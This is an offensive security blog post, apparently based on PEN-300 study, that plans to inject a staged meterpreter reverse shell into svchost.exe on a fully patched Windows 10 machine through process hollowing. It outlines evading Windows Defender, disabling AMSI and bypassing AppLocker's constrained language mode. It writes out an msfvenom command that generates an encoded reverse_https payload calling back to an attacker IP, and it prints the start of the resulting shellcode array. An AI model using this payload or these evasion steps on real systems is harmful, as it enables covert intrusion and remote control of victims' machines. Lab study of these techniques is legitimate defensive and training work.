Objective

During the study of PEN-300 by OffSec, one of the best techniques taught is the injection of staged shellcode into Windows binaries like **svchost.exe**. The course also covers advanced AV evasion techniques and AppLocker restriction bypass. Unfortunately, there is no chapter that combines process hollowing with these bypass methods, so in this article, I want to show the implementation.

The setup

The target machine will be an Windows 10 Enteprise fully updated, at the time I am writing, **22H2** version with these Hotfix:

```
systeminfo

Hotfix(s):                 8 Hotfix(s) Installed.
                           [01]: KB5048161
                           [02]: KB5045936
                           [03]: KB5011048
                           [04]: KB5015684
                           [05]: KB5046613
                           [06]: KB5014032
                           [07]: KB5016705
                           [08]: KB5046823
```

This machine have an Local, non admin account, named **Student** that will simulate out target user.

On top of that tha machine have windows defender fully turn On

{{< figArray subfolder="defender" figCaption="MD settings" >}}

And AppLocker with default rules

PROF

{{< figArray subfolder="applocker" figCaption="AppLocker settings" >}}

That prevent the execution of scripts and binary outside default locations of non admin account

```
PS C:\Users\student> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

PS C:\Users\student> copy C:\Windows\System32\calc.exe
C:\Users\student\Desktop\;
C:\Users\student\Desktop\calc.exe

Program 'calc.exe' failed to run This program is blocked by group
policy.
For more information, contact your system administrator
```

The strategy

The idea is to create an managed .dll that inject a staged meterpreter shellcode in the native svchost.exe process, this process was choice because is normally perform network activities so that our reverse shell should be less easly detected.

Because we hava also defender in place we have to craft our payload in an encrypted and objuscated way, implement some of AV heuristic bypass and diasable AMSI at run time.

Because also there is AppLocker in place our user can't invoke .NEt framework script so we have to implemente a bypass to be able to change the **$ExecutionContext.SessionState.LanguageMode** to **FullLanguage** and be able to execute scripts.

The Process Hollowing .dll

First of all we generate the staget shell code. I choose the https one so the comunication is encrypted and addes some iteration of the most common encoder

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.191.226 \
LPORT=443 -e x86/shikata_ga_nai -i 3 -f csharp


byte[] buf = new byte[767] {0xbb,0x3b,0xe5,0x6f,0x90,0xd9,
0xcc,0xd9,0x74,0x24,0xf4,0x5e,0x33,0xc9,0xb1,0xba,0x31,0x5e,
0x12,0x03,0x5e,0x12,0x83,0xd5,0x19,0x8d,0x65,0x96,0x65,0x4e,
0x33,0xfd,0xb3,0xa5,0xe2,0x89,0x67,0xce,0x4e,0x42,0xa1,0x9f,
0xc2,0x95,0x4a,0xf3,0x27,0xae,0xbf,0x70,0xe4,0xd3,0x3e,0x36,
0x25,0x9c,0xf8,0x0e,0x45,0x83,0xdf,0x16,0x3c,0xda,0x0e,...
```